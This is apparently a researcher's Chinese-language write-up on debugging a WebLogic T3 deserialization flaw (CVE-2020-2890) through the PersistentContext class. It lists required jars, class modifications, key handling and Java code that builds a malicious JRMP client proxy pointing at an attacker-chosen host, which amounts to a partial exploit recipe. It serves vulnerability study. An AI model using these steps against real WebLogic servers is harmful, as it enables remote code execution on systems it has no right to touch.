0x01 起因
本文仅记录一下自己调试2890的一些过程，网上已经有两篇公开的文章了，主要是因为要写年会PPT，然后自己上手调了一下这个漏洞，发现真的是个弟中弟的漏洞，感觉就是个混kpi的漏洞。
0x02 漏洞原理
T3反序列化关键字还是 readObject ，所以补丁下来的第一时间，我全部反编译了，但是由于之前没有研究过weblogic，历史补丁没怎么留存，如果通过diff对比更新的方式会很快定位，所以只能反编译后搜。
之前T3反序列化的入口有 StreamMessageImpl、MarshalledObject 等，而且修复方式也是采用 resolveClass 或者 resolveProxyClass 处增加黑名单的校验的方式来修复，因此基于这两点实际上很好定位漏洞位置：
1、入口有 readObject 反序列化，
2、resolveClass 或者 resolveProxyClass 处有名单校验，且类不是之前修复过的类。
基于上述这两种情况很快定位到了 PersistenContext 这个类。
再回头翻一下 weblogic 原来的代码，嗯确实入口在这，在 readSubject 方法中，首先会读取var1中的反序列化数据，然后调用EncryptionUtil.decrypt方法进行解密，最后再触发反序列化。
因此构造Poc的时候，需要用PersistenContext这个类的 writeSubject 方法来生成特殊的序列化对象，让 readSubject 方法反序列化的时候成功触发。
0x03 漏洞利用
1.导入jar
网上有两篇文章都说了这么个构造思路，但是我阅读学习的时候，死在了导入jar这个难题下，因此在漏洞利用的开头，我列出几个jar文件，测试环境 weblogic 10.3.6 ，可能weblogic 12 jar名字有所不同。
com.bea.core.logging_1.9.0.0.jar
com.bea.core.management.core_2.9.0.1.jar
com.oracle.core.weblogic.msgcat_1.2.0.0.jar
cryptoj.jar
glassfish.jaxb_1.1.0.0_2-1-14.jar
weblogic.jar
wlthint3client.jar
2.重写PersistenContext类
因为需要用到 PersinstenContext 这个类，因此序列化的时候肯定要将其实例化，但是在下图代码位置有个if检查。
在这个if检查的结果会抛出 com.bea.core.security.managers.NotSupportedException 的异常导致反序列化中止。
因此这里解决办法就是绕过它，把它注释掉。
3.改造writeSubject中的writeObject
原先在 writeSubject 中正常写入的对象如下图所示。
这里我们需要将其替换掉，改成我们自己恶意对象，我的做法是构造恶意的JRMP对象。
public static Registry getObject(String command) throws Exception {
int sep = command.indexOf(58);
String host;
int port;
if (sep < 0) {
port = (new Random()).nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID((new Random()).nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry)Proxy.newProxyInstance(ysoserial.payloads.JRMPClient.class.getClassLoader(), new Class[]{Registry.class}, obj);
return proxy;
}
4.改造加密问题
原先我们看到了，反序列化过程中有个解密过程，所以这里需要加密一下。首先加密过程有个KernelStatus.isServer()的判断。
if (KernelStatus.isServer()) {
var5 = EncryptionUtil.encrypt(var5);
}
会说我直接改造一下，把if去掉，让他直接EncryptionUtil.encrypt不就好了吗，但是跟进去之后会发现还是有个 Kernel.isServer() 的的判断。
public static byte[] encrypt(byte[] var0) {
return Kernel.isServer() ? getEncryptionService().encryptBytes(var0) : var0;
}
因此这里需要调用KernelStatus.setIsServer(true);，将状态设置为true。
当然这里还有另一种解法，我们实际上可以直接调用
var5 = EncryptionUtil.getEncryptionService().encryptBytes((byte []) var5);
但是有个小问题 getEncryptionService 是一个 private 方法，你需要重写一个把它变成public就可以直接调用了。
所以我重写了一个 EncryptionUtil ，并且将 getEncryptionService 设置为了 public 。
5.解决加密key的问题
在 weblogic.security.internal.SerializedSystemIni 存在一个加密的key，这个key实际上每个weblogic都不一样，所以官方给这个漏洞评价为授权状态下getshell，也是和之前的T3反序列化不太一样的地方，这里的解决办法就是你要复现那个weblogic，就找到他的 SerializedSystemIni.dat 文件，并且在自己的目录下创建一个 security 目录，放进去就好了。
6.最后一个小问题
在序列化的时候会出现卡死状态的，跟进之后发现原因在weblogic.security.subject.SubjectManager这个类里面。
在这个类里面的 getSubjectManager 方法会有一个 ceClient 的判断，如果为fasle就不会直接返回 ceSubjectManager 对象，因此需要让他为 true 。
而这个鬼东西默认情况下是false。
private static final boolean ceClient = "true".equalsIgnoreCase(System.getProperty("com.bea.core.internal.client", "false"));
因此只需要System.setProperty("com.bea.core.internal.client","true");让他过去即可。
最后还是弹个计算器吧。
0x04 漏洞修复
一如既往的老办法在resolveClass处增加黑名单检查。
0x05 调试记录
调试过程代码都放到这里了，简单来说没啥用的洞。
